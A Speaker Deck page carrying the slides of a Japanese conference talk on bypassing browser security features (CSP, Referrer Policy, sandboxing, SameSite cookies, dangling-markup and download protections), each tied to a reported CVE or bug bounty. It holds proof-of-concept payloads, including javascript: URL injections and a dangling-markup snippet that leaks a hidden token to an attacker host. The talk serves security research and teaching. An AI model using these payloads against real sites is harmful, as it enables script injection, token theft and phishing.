Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ブラウザセキュリティ機能は バイパスされる為にある
Search
Jun Kokatsu
May 16, 2019
Research
8
4k
ブラウザセキュリティ機能は バイパスされる為にある
Shibuya.XSS techtalk #11で話したスライド
色んなブラウザセキュリティ機能をバイパスしていきます
Jun Kokatsu
May 16, 2019
Tweet
Share
More Decks by Jun Kokatsu
See All by Jun Kokatsu
Operating Operator
shhnjk
1
940
Piloting Edge Copilot
shhnjk
1
1.3k
Same-Origin Cross-Context Scripting
shhnjk
0
1k
The world of Site Isolation and compromised renderer
shhnjk
1
2.8k
Site Isolationの話
shhnjk
5
1.9k
Logically Bypassing Browser Security Boundaries
shhnjk
5
3.3k
Other Decks in Research
See All in Research
2025年度人工知能学会全国大会チュートリアル講演「深層基盤モデルの数理」
taiji_suzuki
25
18k
「どう育てるか」より「どう働きたいか」〜スクラムマスターの最初の一歩〜
hirakawa51
0
860
国際論文を出そう!ICRA / IROS / RA-L への論文投稿の心構えとノウハウ / RSJ2025 Luncheon Seminar
koide3
6
4.6k
MetaEarth: A Generative Foundation Model for Global-Scale Remote Sensing Image Generation
satai
4
200
引力・斥力を制御可能なランダム部分集合の確率分布
wasyro
0
240
Submeter-level land cover mapping of Japan
satai
3
290
A scalable, annual aboveground biomass product for monitoring carbon impacts of ecosystem restoration projects
satai
4
240
診断前の病歴テキストを対象としたLLMによるエンティティリンキング精度検証
hagino3000
1
130
心理言語学の視点から再考する言語モデルの学習過程
chemical_tree
2
580
SSII2025 [SS2] 横浜DeNAベイスターズの躍進を支えたAIプロダクト
ssii
PRO
7
4k
生成的推薦の人気バイアスの分析:暗記の観点から / JSAI2025
upura
0
260
集合間Bregmanダイバージェンスと置換不変NNによるその学習
wasyro
0
140
Featured
See All Featured
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
229
22k
Producing Creativity
orderedlist
PRO
347
40k
jQuery: Nuts, Bolts and Bling
dougneiner
64
7.9k
The World Runs on Bad Software
bkeepers
PRO
70
11k
How to train your dragon (web standard)
notwaldorf
96
6.2k
KATA
mclloyd
32
14k
10 Git Anti Patterns You Should be Aware of
lemiorhan
PRO
656
61k
Art, The Web, and Tiny UX
lynnandtonic
303
21k
Typedesign – Prime Four
hannesfritz
42
2.8k
Balancing Empowerment & Direction
lara
3
620
A designer walks into a library…
pauljervisheath
207
24k
Documentation Writing (for coders)
carmenintech
74
5k
Transcript
ブラウザセキュリティ機能は バイパスされる為にある 小勝純 @shhnjk
Agenda <script>time_remaining = true;</script> while(time_remaining) { • 機能説明 • バイパス
}
*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある
*-Policyで共通したバイパス手法 SOP、CSP、Feature Policy、Referrer Policyなどなど オリジンが継承される所にポリシーが継承されないことがある オリジンが継承される所とは: • Blob URL •
Javascript URL • about:blank • iframe srcdoc など
Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’;
Content Security Policyとは 許可されていないスクリプトやリソースをブロックするセキュリティ機能 同一オリジンのスクリプトのみ許可 Content-Security-Policy: script-src ‘self’; 正しいNonceが指定されたスクリプトのみ許可 Content-Security-Policy:
script-src ‘nonce-ramdom’; <script nonce=”random”>alert(1) // allowed</script> <script nonce=”guess”>alert(1) // blocked</script>
CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1))
CSPのバイパス 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1)) 以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た https://victim.tld/vulnerable_endpoint.html#javascript:alert(1) CVE-2018-4118
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”)
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”);
location.href=”//victim.tld/robots.txt”
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://evil.tld https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } window.name=”new”; window.open(“//victim.tld#javascript: alert(1)”); location.href=”//victim.tld/robots.txt”
CSPのバイパス2 以下の様なコードがあった場合 Content-Security-Policy: script-src: ‘nonce-random’; window.open(location.hash.slice(1),”new”) https://victim.tld/robots.txt https://victim.tld#javascript:alert(1) button.onclick =
() => { window.open(location.hash.slice(1), ”new”); } https://victim.tld/robots.txtにCSPが設定されて いない場合はChromeとSafariでバイパスが可能 だった CVE-2017-15387: $1000 each No CSP
Referrer Policyとは Referrerをどんな場合に送るかを指定出来るセキュリティ機能 Referrerを常に送信しない Referrer-Policy: no-referrer 同一オリジンへのリクエストに対してのみ Referrerを送る Referrer-Policy: same-origin
Referrer Policyのバイパス about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった Referrer-Policy: no-referrer w = window.open("about:blank"); w.document.write("<img
src=https://evil.tld>"); CVE-2018-6048: $500
CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>
CSP/iframeサンドボックス windowやiframe内に色々な制限をかけられるセキュリティ機能 Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可 <iframe src=”//evil.tld” sandbox=”allow-popups”>ポップアップは許可</iframe>
allow-same-originが指定されない限りサンドボックス内のオリジンは Opaque オリジンとなる オリジンが変わってもURLは変わらない為、色々なバグが発生する
Service WorkerとCSPサンドボックスの問題 Service Workerが登録されたオリジン内のリクエストは Service Workerを 経由する様になる navigator.serviceWorker. register(“sw.js”); fetch(“/”);
self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); })
Service WorkerとCSPサンドボックスの問題 ChromeではCSPサンドボックスされたページからのリクエストも Service Workerを経由して しまっていた為、サンドボックス外のオリジンの情報が取得出来た CVE-2019-5811: $2000 alert(self.origin); //
null fetch(“/”); self.addEventListener('fetch', e=> { e.respondWith(fetch(e.request)); }) https://victim.tld/sandbox
SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict
SameSiteクッキー 同一サイトからのリクエストにのみ送られるクッキーが作れる ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない Set-Cookie: secret=1; SameSite=Strict Laxはトップレベルナビゲーションのみクロスサイトからでも送られる ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない
Set-Cookie: secret=2; SameSite=Lax
SameSite Strictのバイパス rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、 SameSiteクッキーまでもが送られてしまっていた <a href="https://victim.tld/" rel="noopener" target="_blank">CSRF</a> https://crbug.com/830091: $2000
SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
クロスサイトから埋め込まれても送られない
SameSite Laxのバイパス https://victim.tld Set-Cookie: secret=Lax; SameSite=Lax https://evil.tld https://victim.tld No cookie
https://evil.tld https://victim.tld secret=Lax https://victim.tld クロスサイトから埋め込まれても送られない トップフレームが同一サイトだと送られていた CVE-2018-18351: $1000
Dangling markup mitigation リソースリクエストの中に\nと<が含まれるものをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5735596811091968 <!-- injecion --> <img
src=’https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> ユーザの関与なしに送られるリクエストのみを対象としている
Dangling markup mitigationのバイパス Data URLをパースする際スペースや改行が消されるので、 Data URL内のimgタグのリク エストには改行が存在しなくなる <!-- injecion
--> <iframe src=’data:text/html,<img src=”https://evil.tld/? <!-- /injection --> <b>Hello shhnjk</b> <input type=”hidden” name=”secret_token” value=”123456”> … <b>Today’s talk</b> https://crbug.com/749852 : $500
クロスオリジン<a download>の無効化 クロスオリジンなダウンロードを無効化しナビゲーションに変更する Chromeの セキュリティ機能 https://www.chromestatus.com/feature/4969697975992320 <a href=”https://victim.tld” download>Navigate instead
of download</a> クロスオリジンな強制ダウンロードは悪用されたこともあった https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf
クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複
クロスオリジン<a download>の無効化のバイパス クロスオリジンにリダイレクトすればいい <a href=”/redirect?url=https://victim.tld” download>Let’s just download :)</a> 残念ながら重複
一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション に変更する為、様々なバグを生み出してくれる
クロスオリジンframebustingのブロック ユーザの関与がないクロスオリジンな framebustingをブロックするChromeの セキュリティ機能 https://www.chromestatus.com/feature/5851021045661696 https://victim.tld https://evil.tld top.location.href = “phish”;
クロスオリジンframebustingのブロックのバイパス ダウンロードリクエストがリダイレクトしナビゲーションに変わる際、 どのフレームがリクエストを開始したかの情報が伝わっておらず、 条件なしでトップフレームがナビゲートされてしまっていた https://victim.tld https://evil.tld <a href=”redirect?url=//phish.tld” id=”link” download>go</a>
link.click(); CVE-2019-5822: $500
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい
伝えたかったこと • バグハント/診断 対象がセキュアだろうと思い込んではいけない • バグを見つけたことに喜ぶのはいいが、満足してはいけない • セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい • 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある
Import Mapsで何をバイパスできるか考えてみよう <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs": [ "std:kv-storage",
"/path/to/kv-storage-polyfill.mjs" ] }} </script> <script type="module"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; </script> https://developers.google.com/web/updates/2019/03/kv-storage#import_maps 今日紹介したセキュリティ機能の何かがバイパス 出来ます!考えてみましょう! ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は 次のスクリプトを読み込んでくれるマップ
CSPのバイパス3 Content-Security-Policy: script-src: ‘nonce-random’; <script type="importmap"> { "imports": { "/path/to/kv-storage-polyfill.mjs":
[ "data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)}; export {storage};" ] }}</script> <script type="module" nonce="random"> import {storage} from '/path/to/kv-storage-polyfill.mjs'; storage.set('test', '1'); // alert(1) </script> Nonceを指定しなくてもマップを作れてしまう https://crbug.com/941340: $1000 アイディアが浮かんだ方はみんな正解!
Questions? https://victim.tld/agenda.html?fake_xss=<script>time_remaining = true;</script> <script>time_remaining = true;</script> while(time_remaining) { •
機能説明 • バイパス } The XSS Auditor refused to execute a script Uncaught ReferenceError: time_remaining is not defined